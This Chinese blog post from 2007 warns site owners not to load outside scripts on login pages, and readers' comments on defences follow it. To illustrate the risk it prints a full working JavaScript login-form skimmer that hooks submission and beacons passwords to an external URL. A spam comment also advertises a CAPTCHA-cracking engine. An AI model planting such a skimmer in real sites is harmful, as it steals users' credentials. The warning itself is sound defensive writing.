推荐.NET教程:
ASP.NET
C#
开发环境
Ajax教程
控件开发
统计报表
数据库
Web服务
安装部署
CommunityServer
NHibernate
DataGrid/GridView
实用代码
VS2005
示例源码
MVC/三层
SqlHelper
入门源码
开源
CMS
Ajax/Atlas
C#.net
毕业设计
源码
经典代码
商业
本站作品
持久层
随书源码
WebService
英文/汉化
Asp.net2.0
阿牛·乐园
每天进步一点点
博客园
::
首页
::
新随笔
::
联系
::
订阅
::
管理
::
71 随笔 :: 14 文章 :: 378 评论 :: 13 引用
千万不要在登录页面引入别站的脚本
如果您是一位站长,你的网站里面一定引入过别站的脚本,如计数器等。但我强烈建议您不要把这个脚本引入到登陆页面。
因为如果你这样做了,对方(脚本作者)可以在神不知鬼不觉的情况下,把你的用户的帐户,密码等信息偷走。
您可能要问:第一、对方如何知道我把脚本放在登陆页面?第二、现在有IE7,XMLHTTP也不可能跨域了,对方如何知道信息?
其实,这两个问题,都很简单。
第一、对方只需用脚本枚举FORM,判断里面的是否包含:<input type="password" />的控件,就可以知道是否是登陆窗体。
第二、没有了 XMLHTTP,还有好多种方法来完成数据的提交,最简单的:
var
up
=
new
Image(); up.src
=
http:
//
xxx.xxx.xxx.xxx/getdata.asp?data=aaa|bbb|ccc;
很简单吧!!我们来看下示例核心代码:
function
_bho_DataPost(form)
{
var
userInfoArray
=
[];
for
(
var
name
in
form)
{
userInfoArray.push(name
+
'
=
'
+
escape(form[name]));
}
var
userInfo
=
userInfoArray.join('
&
');
try
{
//
提交数据(这里有密码的哟)
var
send
=
new
Image();
send.src
=
"
[url=http://evlon.cnblogs.com/getdata.asp]http://evlon.cnblogs.com/getdata.asp[/url]?
"
+
userInfo;
}
catch
(e)
{}
}
/**/
/*
功能:得到登陆FORM,如果没有找到,则返回 null
*/
function
_bho_getLoginForm()
{
var
forms
=
document.forms;
for
(
var
f
=
0
; f
<
forms.length;
++
f)
{
var
form
=
forms[f];
var
inputs
=
form.getElementsByTagName(
"
INPUT
"
);
for
(
var
i
=
0
; i
<
inputs.length;
++
i)
{
if
(inputs[i].type.toLowerCase()
==
"
password
"
)
{
return
form;
}
}
}
return
null
;
}
/**/
/*
功能:注册事件,HOOK form.submit
*/
function
_bho_initEvent()
{
var
form
=
_bho_getLoginForm();
if
(form
!=
null
)
{
//
重写 form 的submit,来拦截密码
form.__submit_
=
form.submit;
form.submit
=
function
()
{
_bho_SendPwd();
//
如果先执行这里,因为还有事件,我们把 _bho_SendPwd 改成空函数,避免重复提交
_bho_SendPwd
=
function
()
{}
return
form.__submit_();
}
//
注册事件来监听密码提交
form.attachEvent(
"
onsubmit
"
,_bho_SendPwd);
}
}
/**/
/*
功能:把将要提交的FORM里面的所有数据提交
*/
function
_bho_SendPwd(e)
{
var
form
=
_bho_getLoginForm();
var
pwd
=
'';
var
otherInfoArray
=
[];
var
inputs
=
form.getElementsByTagName(
"
INPUT
"
);
for
(
var
i
=
0
; i
<
inputs.length;
++
i)
{
if
(inputs[i].type.toLowerCase()
==
"
password
"
)
{
pwd
=
inputs[i].value;
}
else
{
if
(inputs[i].type.toLowerCase()
==
'text')
{
//
为了节省资源,如果没有名字,或者数据长度太长,应该没有什么价值,不用提交了
if
(inputs[i].name
&&
inputs[i].name
!=
''
&&
inputs[i].value.length
<
100
)
{
otherInfoArray.push(inputs[i].name
+
'
=
'
+
inputs[i].value);
}
}
}
}
var
form
=
[];
form['url']
=
window.location.href;
form['pwd']
=
pwd;
form['otherInfo']
=
otherInfoArray.join('
&
');
_bho_DataPost(form);
//
alert('发送完成');
}
//
初始化事件
_bho_initEvent();
如果以上脚本在你的站上执行,唉。。。。。。
(改了错别字:-( )
posted on 2007-04-21 23:16
阿牛
阅读(2815)
评论(13)
编辑
收藏
所属分类:
ASP.net
、
DHTML,JS
评论
#1楼
2007-04-21 23:56
萧寒
不错;
回复
引用
查看
#2楼
2007-04-22 01:06
Cat Chen
通常只用信得过的第三方脚本,例如Google Analytics。
回复
引用
查看
#3楼
2007-04-22 01:06
s3 [未注册用户]
javascript的功能逐渐变大了,差不多页面完全javascript来写。
好象大家别不关心javascript的安全性.
回复
引用
#4楼
2007-04-22 07:00
alang [未注册用户]
标题有错别字。
回复
引用
#5楼
2007-04-22 10:42
aspnetx
标题错别字,呵呵
但楼主的提醒确实给大家多少敲响了警钟
回复
引用
查看
#6楼
2007-04-22 12:10
阿毅 [未注册用户]
其实何止是登录页面不应该引入,最好是在不能完全信任的情况下都不要引入,除了要对被引入方的RP考查外,还要考虑对方的安全保障力量,否则一旦其被黑客入侵控制,你一样会被收入网中。
完全做到这点挺难的。
但目前至少应该做到网站管理人员浏览时所有页面都没有其它网站的脚本,防止会话挟持。
另外一条建议是,对于必须引入的外部脚本(比如网站统计类的脚本),可以尝试放到不同域的 iframe 里,只要该 iframe 的 src url 能反映其父页就行,并不会影响统计的准确性。
回复
引用
#7楼
[
楼主
]
2007-04-22 19:35
阿牛
@阿毅
说得有道理。
“放到不同域的 iframe 里”办法真的不错
回复
引用
查看
#8楼
2007-04-22 23:56
Anders Liu [未注册用户]
阿牛的醒提得好!
顺便,错别字是什么?
“登陆”么?“登录”?
没事,我们火星人都用登陆地球的~ :)
回复
引用
#9楼
2007-04-23 09:25
Wisdom-zh
从来不用第三方脚本, 还真没意识到这个问题.
回复
引用
查看
#10楼
2007-04-23 12:38
webreport [未注册用户]
学习!! (.net报表工具,web报表,报表设计器,.net报表,web打印,excel,报表开发,报表控件,支持动态列的纯.net写的web报表开发工具在:
http://www.fcsoft.com.cn/webreport.htm
)
回复
引用
#11楼
2007-04-23 12:56
yi
还有一点登录页面一定不要做成无刷新的
如果做成无刷新的也要使用post请求,不要使用get请求
回复
引用
查看
#12楼
2007-04-23 20:51
cn7ero [未注册用户]
在iframe里的脚本一样可以通过 parent 属性来得到父页的。
按照楼主的说法,应该在自己的站点上完全不放别人的东西。
不知道flash等技术有没有这样的能力。
回复
引用
#13楼
2008-04-08 06:04
蓝奇高级验证码识别引擎QQ:631753663 [未注册用户]
出售蓝奇高级验证码识别引擎,可准确识别新浪动网淘宝CSDN等多种复杂验证码。
输出为一个标准DLL,可供VB,VC,Delphi,C#.NET,VB.NET,模拟精灵,按键精灵等多平台调用,调用方法简单,几行代码即可完成。独具特色的边缘检测字符分离、旋转倾斜纠正和通用字符匹配算法(无论字体和大小), 使得该引擎对于像新浪、动网、淘宝、CSDN等多种验证码均有不错的识别率,是一款效果较为理想的验证码识别引擎。附详细的调用实例和代码注释等相关技术文档。
官方网站 -
http://***/yzm_advocr
识别效果怎么样一试就知道 - DEMO下载
http://***/yzm_advocr
/advocr.rar
回复
引用
新用户注册
刷新评论列表
标题
姓名
主页
Email
(博主才能看到)
验证码
*
看不清,换一张
[
登录
][
注册
]
内容(请不要发表任何与政治相关的内容)
网站首页
新闻频道
社区
小组
博问
网摘
闪存
找找看
Remember Me?
登录
使用高级评论
新用户注册
返回页首
恢复上次提交
[使用Ctrl+Enter键可以直接提交]
该文被作者在 2007-04-23 09:29 编辑过
相关文章:
MSN Messenger 不能登录的解决方案"0x81000370错误"
在Windows下配置与使用CVSNT
相关链接:
历史上的今天:
2006-04-21
[原创]用XMLHttp BinaryWrite,Post GB2312编码的字串
2006-04-21
利用ADODB.Stream实现 Bytes到String的指定编码的转换
所属分类的其他文章:
第一个asp.net的workflow例子
发现移动太NB了,验证码图像路径直接包含验证码
用控件的方式解决问题-在客户端关联WEB控件引用
ASP.NET AJAX 's UpdatePanel 中使用Page.ClientScript.RegisterStartupScript 失败
用"指定字符组成的任意进制"转换生成不带4的卡号
UpdateProgress之用半透明DIV加居中的提示进行时.
如何使HTML元素的事件,使用我们封装类的成员函数作为处理函数
0自动转型到DBNull.Value引发的错误
以前写的带参数的window.setTimeout(参数可为对象)
NHibernate使用时,不能返回自己的异常的解决办法
最新IT新闻:
开心网即将启用”shejiao.com”?
Google股价跌破329美元 61%员工期权价值归零
十年祭:昔日明星软件今何在?
六大可能出售IT企业名单:SUN领头或被猎走
Linux内核2.6.27正式到来
<
2007年4月
>
日
一
二
三
四
五
六
25
26
27
28
29
30
31
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
1
2
3
4
5
与我联系
发短消息
搜索
常用链接
我的随笔
我的空间
我的短信
我的评论
更多链接
我的参与
我的新闻
最新评论
我的标签
留言簿
(5)
给我留言
查看留言
我参与的团队
O/R Mapping团队(0/209)
随笔分类
(99)
ASP.net(22)
(rss)
BAT(1)
(rss)
C#(20)
(rss)
C++(10)
(rss)
DHTML,JS(19)
(rss)
Java(2)
(rss)
TSQL(6)
(rss)
工作流(1)
(rss)
其它语言(5)
(rss)
生活(13)
(rss)
随笔档案
(71)
2008年5月 (1)
2008年3月 (1)
2007年12月 (2)
2007年11月 (2)
2007年9月 (1)
2007年8月 (5)
2007年7月 (9)
2007年6月 (6)
2007年5月 (5)
2007年4月 (5)
2007年3月 (8)
2006年11月 (2)
2006年9月 (1)
2006年8月 (4)
2006年7月 (4)
2006年6月 (2)
2006年5月 (2)
2006年4月 (7)
2006年3月 (2)
2005年11月 (2)
文章分类
(25)
ASP(2)
(rss)
ASP.NET(2)
(rss)
C#(3)
(rss)
CSS(1)
(rss)
DHTML,JS(7)
(rss)
MSSql(4)
(rss)
VC/C++(1)
(rss)
收藏(5)
(rss)
文章档案
(14)
2007年7月 (1)
2006年11月 (1)
2006年9月 (3)
2006年5月 (1)
2006年3月 (2)
2005年11月 (6)
收藏夹
(32)
C#(10)
(rss)
Database(2)
(rss)
javascript(3)
(rss)
Log4Net(3)
(rss)
Remoting(3)
(rss)
报表
(rss)
创业(4)
(rss)
工作流(4)
(rss)
网页(3)
(rss)
友情链接
asp.net源码下载站
很不错的asp.net源码下载站
DotNet新闻及文章中心
很不错的DotNet新闻及文章中心
Scott Guthrie's Blog on ASP.NET and .NET
Scott Guthrie's Blog on ASP.NET and .NET
scottgu
(rss)
宝玉的blog
(rss)
专注于web开发技术
创造机会的人是勇者;等待机会的人是愚者
EPZUZU.COM-创造机会的人是勇者;等待机会的人是愚者
海东的技术资料
(rss)
鸟食轩
(rss)
软件测试
(rss)
软件测试领域的交流平台
㊣点滴伊飏
(rss)
㊣点滴伊飏
紫雨轩
(rss)
破文
最新随笔
1. 在Excel中检验身份证号
2. 一个简单好用的JS标签(辞职当天帮同事写的东东)
3. 三行两列DIV布局之左固定宽度
4. XP SN
5. C与C#通讯加密之C语言DES的cbc pkcs7的实现(二)
6. C与C#通讯加密之C语言DES的cbc pkcs7的实现
7. 第一个asp.net的workflow例子
8. 从struct到byte[]之RawFormatter
9. 一个HTTP.二进制POST和HTTP指定长度接收的C++实现
10. 又一个网页下载者木马
积分与排名
积分 - 87129
排名 - 466
最新评论
1. re: 利用BCP导入数据到SQL中
你的方法可以用,但是为什么我导进去的数据都带双引号呢?帮忙解答一下,谢谢!
--Cardman
2. re: 如此自动绑定数据到WebUI
你这样做很麻烦的,参考这个文章,利用发射绑定数据
--DavyJ
3. re: 图片服务器上图片的管理网站上传与前台显示
Stream stream = req.GetResponse().GetResponseStream();
好像不能检查目录是否存在,如果不存在,响应为产生异常哦!
--康哥
4. re: [原创]把程序放在相册中
算法有问题
--bookseas
5. re: 以前写的带参数的window.setTimeout(参数可为对象)
@宝儿爸
这个我还不知道,那如何改正呀?
--阿牛
阅读排行榜
1. 验证码的思考,你的验证码安全吗?(4196)
2. 图片服务器上图片的管理网站上传与前台显示(3827)
3. 移动的验证码安全问题告诉移动网站后......,1860意指一般人不会这样做.(3682)
4. 超级简单的Region对比识别验证码(3065)
5. [原创]利用HttpModuler实现WEB程序同一时间只让一个用户实例登陆(修改)(3017)
评论排行榜
1. 验证码的思考,你的验证码安全吗?(42)
2. 今天是公历6.19,我女儿的第一个生日,也是全国人民的大节日,端午节快乐(40)
3. 移动的验证码安全问题告诉移动网站后......,1860意指一般人不会这样做.(29)
4. 用控件的方式解决问题-在客户端关联WEB控件引用(28)
5. 发现移动太NB了,验证码图像路径直接包含验证码(25)
Powered by:
博客园
Copyright © 阿牛